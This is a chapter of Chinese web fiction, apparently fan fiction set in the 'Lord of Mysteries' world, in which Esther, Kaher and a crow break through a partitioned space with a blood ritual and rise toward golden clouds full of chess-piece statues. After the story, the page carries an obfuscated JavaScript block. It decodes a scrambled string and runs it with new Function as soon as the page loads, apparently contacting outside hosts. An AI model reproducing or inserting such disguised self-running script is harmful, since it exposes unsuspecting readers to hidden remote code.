爪刀毛多,不仅让握着它的手感很怪异,也严重影响了艾丝特使用它——因为握柄住坚硬的长毛倒垂下来,将前端的尖刃都遮盖住了。
艾丝特右手提着刀柄,左手虚握一下,将“罗根之爪”积攒几个月的毛量统统攒在了手心:“我都快忘了这东西还会长毛,你完全不管一下吗?我很确信你有压制负面效果的方法。”
而乌鸦的反驳也让艾丝特无话可说:“我为什么要帮你保养非凡物品?它又一点用都没有。”
不过艾丝特很快就从别的角度,将这句话堵了回去:“我就知道,我的东西果然都在你那!”
乌鸦的眼睛一转:“对啊,是在我这。等你什么时候能还给我一个价值与‘欺瞒导师’等同的非凡特性,我就考虑把那些垃圾还给你。不然我不是很亏吗?”
“你都说了是‘垃圾’了,”艾丝特恨恨地嘀咕起来,“直接给我不行?”
卡赫在旁边好心地“提醒”道:“还有一份‘寄生者’和‘窃梦家’的非凡特性呢。”
“你——”艾丝特撇过头重重地叹了口气,什么都没说出来。
“我可以用别的非凡特性跟你换。”乌鸦笑着道,“比如‘怪物’?”
“真的!?”艾丝特先是一喜,随即又飞快反应过来其中的文字陷阱,“不对,你的意思是序列九‘怪物’的非凡特性……这买卖对你来说是不是太划算了点?”
“你居然不上当,真可惜。”卡赫唉声叹气地摇起头,看她那相当真切的表情,就好像艾丝特错过了什么天价的买卖一样。
艾丝特搓掉爪刀外最后一点绒毛,手指穿过握柄上的洞口,来回翻转两圈,很快找回了当初使用它的手感:“我没那么傻。”
“谁知道呢?试试又不亏。”卡赫挑着眉毛,并不看好艾丝特朴实过头的计划,“你想要直接破开这里被分割的空间?”
“你又不帮忙找后门。”艾丝特说这话的时候,总有股压不下去的怨气。
她没等卡赫或者乌鸦再开口,而是直接将爪刀伸向地面,然后在地上刻画起一圈又一圈的符号。乌鸦很快就解析出那些图形的指向,少部分是用于与灵界进行沟通,而另一部分的效果是更直接的“破坏”。
直到艾丝特将最中心的符号绘制完整时,乌鸦看着那个很眼熟的图案,不禁开口道:“这不是‘源堡’的象征,我得承认我的期待落空了。不过你在这里向自己祈祷,难道还有任何效果?”
“我不知道,所以接下来我们就得看看,这到底会有什么效果。”
艾丝特神秘兮兮地说着,也没指望真的能在乌鸦面前卖关子,她用指甲轻轻捻过食指,一滴红色中夹杂银色乱流的血液,逐渐从艾丝特的指腹渗出,滴落到地面的痕迹上。
一秒、两秒,十几秒过去了,什么也没有发生。
周围还是一片安静,艾丝特盯着地上的符号,又沉默地摸了摸自己的指尖:
“是因为我省略了某个步骤,还得向自己祈祷吗?”
卡赫突然回答了艾丝特的疑问:“不,是因为这里有别的规则。”
卡赫的话并没有说完,地面就忽然震动起来,一片柔和的光芒从艾丝特滴过鲜血的法阵里绽放,在空气中化作不断转动的破碎圆轮,散发出极其扭曲刺耳的嗡鸣声,几乎就是一群在发出尖叫的怨灵。
地面的震动还在变得越来越强烈,这猛烈的颠簸感,甚至让艾丝特生出自己被塞进炒锅的错觉,随时都会要被掀起来似的——在艾丝特想要蹬往地面,借力向上飘起的时候,卡赫却忽然拽住了她的肩膀,让艾丝特跟自己一同牢牢地站在地上。
艾丝特也没有挣扎,她一早就猜到了,卡赫对如何进入地下深处的世界很清楚,只是乐意看她无头苍蝇似的乱转,在这里做无用功。
真的没有用吗?
下一秒,毫不意外的,艾丝特先前那古怪的预感就成真了。
先是远处的轰响,然后随着那声音靠近,具体发生了什么也变得清晰起来:
以规整的方形为范围,一片又一片地面开始颠倒、翘起,就像是一张硕大的棋盘,一个格子紧接着另一个,直接从下方往上翻上来,掀起大片尘埃的同时,将上下两层“地面”完全倒置。
艾丝特心平气和地看着这一切发生,甚至还有心思对卡赫说:“说真的,我觉得这不能怪我,这地方问题太大了。”
随着地块翻转的速度越来越快,最终也接近了方形大地的边缘,艾丝特两人脚下的地面也在倾斜,角度越来越高,从还能勉强站稳到几乎完全垂直,然后完整地掀了过来。
这个过程中,原本站在上面的艾丝特与卡赫,都通过对常规物理法则的“欺诈”,稳定了自己的身形,两人不约而同地蹲下,更好地贴近地面。
当下方变为上方,展现出来的,便是另一层更深处的空间。
这一次,散发出光芒的地方变成了头顶,艾丝特抬头望过去,看到的是一片散发出金色光辉的云层,不管有没有真正日照的效果,至少在这里它们顶替了太阳的作用,散发出带着少许暖意的光亮。
远远看上去,仿佛是一团浮动的金子铺平在天空里,与脚下那层黑色的土地形成非常有视觉冲击力的对比。
艾丝特迅速意识到了周围环境的异样:“这里的空间比例,好像不太正常……”
“是的,每一层都会比上一层更窄,”卡赫随意地说道,笑着点了点单片眼镜,“你要是好奇的话,可以再走一圈边缘,把这里的范围也用脚程测量一下。”
艾丝特回头瞄了眼身后那块方正的直角地块边缘,外围那层无形的黑色屏障,仍然给她很危险的感觉,当即摇摇头:“不用,我没那么无聊。”
她又仰头望向天空中的云层,很快就注意到,那散发出金光的地方,有细碎的黑点在来回移动:“天空中好像有什么东西?”
艾丝特肩头的乌鸦懒洋洋地打了个哈欠:“所以?你打算做什么?”
“当然是要上去看看,我们现在是在下方,所以应该继续往上走……”艾丝特犹豫起来,总觉得这话一说出口就非常可笑。
“那就走吧。”
卡赫黑色的靴子轻轻一点地面,就像是吹起的肥皂泡般,轻飘飘地往天空飞去。
又或者这应该算是坠落?
艾丝特因为分不清,开始感到困惑了。
她用力蹬了一下地面,身体便也往空中飞去,几乎完全没有感受到任何往下拖拽的力量——这时候艾丝特才意识到,卡赫并没有“欺诈”这里的自然法则,更准确点说,物理在这已经不存在了。
艾丝特调整着自己的身体走向,只是轻轻用手划过空气,就带动着身体又往上拔高一大截,这几乎跟飞行的体验有些相似了。
她控制起自己的前进方向,追上了同样不断往上升高的卡赫:“这地方真的一点道理都没有!”
“不,这地方的规则可多得是,到时候你就知道了。”
卡赫指了指两人上方金光熠熠的厚重云层,在靠近一段距离后,艾丝特也终于能看清那些穿梭行动的黑点。
让她有点失落的是,那些移动的东西看上去并不像是“人类”,而像是一座座黑色或白色的石像,这让她想起了先前翻转颠倒的地面,那呈现规整块状的方格。
“我们不会要在这里下棋吧?”
乌鸦闭上了眼睛:“我有时候真是不理解你脑袋里都是什么。”
(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();